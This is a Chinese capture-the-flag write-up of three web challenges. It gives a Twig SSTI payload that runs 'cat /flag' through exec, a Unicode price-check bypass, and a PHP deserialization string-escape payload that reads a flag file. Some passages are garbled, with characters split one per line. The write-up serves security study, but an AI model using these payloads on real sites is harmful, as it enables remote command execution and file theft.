[BJDCTF2020]Cookie is so stable
hint里面 抓包看看 猜测这里可能是SSTI ,但是试了几个命令都不行
整不会了,看了别的师傅的wp
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
参考:https://blog.csdn.net/weixin_44477223/article/details/115673318
[ASIS 2019]Unicorn shop
买独角兽是吧
买了几次也没有买成功
但我输入10块钱的时候 只允许一个字符 utf-8很重要。。。
所以是让我用一个字符买那个好贵的独角兽吗
https://www.compart.com/en/unicode/html
越大越好嘛。搜thousand出来一堆
这个够大了吧,十万 0x改成百分号%E2%86%88
拿来吧你
[安洵杯 2019]easy_serialize_php
源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();');
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
phpinfo中找到了提示
也就是说我们要通过file_get_contents读取这个文件,也就是让base64_decode(
u
s
e
r
i
n
f
o
[
′
i
m
g
′
]
)
为
d
0
g
3
f
1
a
g
.
p
h
p
,
也
就
是
让
userinfo['img'])为d0g3_f1ag.php,也就是让
userinfo[′img′])为d0g3f?1ag.php,也就是让userinfo[‘img’]为ZDBnM19mMWFnLnBocA==,而userinfo = 是反序列化的serialize_info,而serialize_info是序列化的经过filter过滤的
S
E
S
S
I
O
N
,
而
_SESSION,而
S?ESSION,而_SESSION又被
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
初始化,一旦直接传参就会被sha1
我们注意到extract($_POST);存在变量覆盖,直接给img赋值也不行,因为是先覆盖,再执行上面的代码
来来来让我们捋捋,现在_SESSION有三个元素
$_SESSION["user"] = 'guest';
$_SESSION['function'] = @$_GET['f'];
extract($_POST);
$_SESSION['img']
完事之后一起被序列化,反序列化之后img该是啥是啥(guest_img.png)读取不到我们想要的文件
但是吧,它俩在被序列化之后会被过滤一些字符,这些被过滤的字符会被替换为空,而php序列化有一个特性
比如序列化字符串里面形如
s:x:"变量名";s:x:"变量值";。。balabala
如果变量值不够的话会从后面再接着找,直到满足应有的x位为止,那我们就可以利用这个特性把img的值给他替换掉(原来的img自己的值还在,只不过爷不读取你了,前面的值够了)
比如我们POST了一个值进去,序列化以后会变成
a:2:{s:x:"你传的变量名";s:x:"你传的变量值";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
我们的初步想法是,你要么是变量名变少了,要么是变量值变少了(会被替换为空嘛),如果变量值少了的话他会接着找后面的";s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;}要,那么后面我们就没的给img赋我们想要的值了,所以只能是把自己传的变量名弄没,让变量名管后面的变量值要一部分,然后变量值剩下的部分刚好可以给img赋值,赋完值大括号一括,你后面img爱是多少是多少。
我们希望img是多少呢?我们要把这个值放在我们自己传的变量值部分的后半部部分,前面说了,我们希望img为ZDBnM19mMWFnLnBocA==,那么后半部分应该是这种格式(\用来分开后面没用的img)
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
比如我们传个flag=s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
a:2:{s:4:"flag";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
filter过滤完变成了
a:2:{s:4:"";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
我们自己传的变量名flag没了,所以他要往后面接着找4位,也就是";s:,但是还远远没有读到img,而我们最后希望后面的
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==
会被独立的当成一个变量,那我们前面的部分经过过滤后也应该是一个完整的变量(包括变量名和变量值,而且别忘了用分号分隔开)
初始payload如下,x是我们可以随意修改的,aa表示两位数(s:3:“img”;s:20:"ZDBnM19mMWFnLnBocA==前面的 " ; 在传参值前直接加上即可)
a:2:{s:x:"";s:aa:"xxx...xx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
我们只需要
s:x:"";s:aa:"xxx...xx"
变成形如
s:x:"name";s:x:"value"
的样子即可,所以我们可以让第一个参数名为";s:aa:
这样的话第一个x的值就为7(这个x是由我们传参的名称大小决定的,所以我们传phpflag即可,刚好为7)
s:7:"";s:aa:" xxx...xx"
这样我们只需让xxx…xx变成
;s:1:"1
综上,拼接之后就变成了(过滤后的,便于看第一个变量我加了空格)
a:2:{s:7:" ";s:aa: ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
过滤前就应该为
a:2:{s:7:"phpflag";s:aa: ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}\";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
所以payload为(GET:?f=show_image)
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
(不是,我真服了,又搁这卡半天,我以为我哪儿算错了呢,结果发现payload跟别的师傅一样,又想会不会是跟上次有一题一样缺一个Content-Type:application/x-www-form-urlencoded,添上,对了。。。。。啊啊啊啊啊啊啊我真服了,这啥啊)
/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,把原来的换掉就好,正好位数一样
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
服了。。。 哦对了,看了别的师傅的wp,是可以利用值构造的,只要传两个参数就好了
|